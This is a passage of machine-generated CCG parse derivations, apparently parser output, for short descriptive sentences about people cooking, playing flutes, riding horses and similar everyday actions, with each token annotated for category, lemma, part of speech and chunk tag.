fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(561,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
t(n, 'octopus', 'octopus', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'sliced', 'slice', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(562,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'octopus', 'octopus', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(563,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(564,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(565,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(566,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(567,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lemon', 'lemon', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(568,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'fruit', 'fruit', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(569,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'show', 'show', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(570,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'marching', 'march', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(571,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cupcake', 'cupcake', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'eaten', 'eat', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(572,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cupcake', 'cupcake', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(573,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'restaurant', 'restaurant', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(574,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'making', 'make', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bed', 'bed', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(575,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cook', 'cook', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'sprinkling', 'sprinkle', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'cheese', 'cheese', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'pizza', 'pizza', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(576,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'sprinkling', 'sprinkle', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'cheese', 'cheese', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'pizza', 'pizza', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(577,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'reloading', 'reload', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'shotgun', 'shotgun', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(578,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'firing', 'fire', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'shotgun', 'shotgun', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(579,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tiger', 'tiger', 'NN', 'I-NP', 'O'),
t(n, 'cub', 'cub', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(580,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'baby', 'baby', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'doll', 'doll', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(581,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'baby', 'baby', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'toy', 'toy', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(582,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'baby', 'baby', 'NN', 'I-NP', 'O'),
t(n, 'tiger', 'tiger', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(583,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'peeling', 'peel', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(584,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'peeled', 'peel', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(585,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'rowing', 'row', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'canoe', 'canoe', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(586,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'rowing', 'row', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boat', 'boat', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(587,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'driving', 'drive', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'down', 'down', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'jeep', 'jeep', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(588,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'driving', 'drive', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'down', 'down', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'open-air', 'open-air', 'JJ', 'I-NP', 'O'),
t(n, 'vehicle', 'vehicle', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(589,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'pouring', 'pour', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'ingredients', 'ingredient', 'NNS', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bowl', 'bowl', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(590,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'chef', 'chef', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'seasoning', 'season', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'oil', 'oil', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(591,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'ridden', 'ride', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(592,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(593,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'ridden', 'ride', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(594,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'potatoes', 'potato', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(595,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'exercises', 'exercise', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(596,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'exercises', 'exercise', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(597,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'exercises', 'exercise', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(598,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'fighting', 'fight', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(599,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Vegetables', 'vegetable', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'put', 'put', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pot', 'pot', 'NN', 'I-NP', 'O')))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(600,
rp(s:dcl,
ba(s:dcl,
t(np, 'Someone', 'someone', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
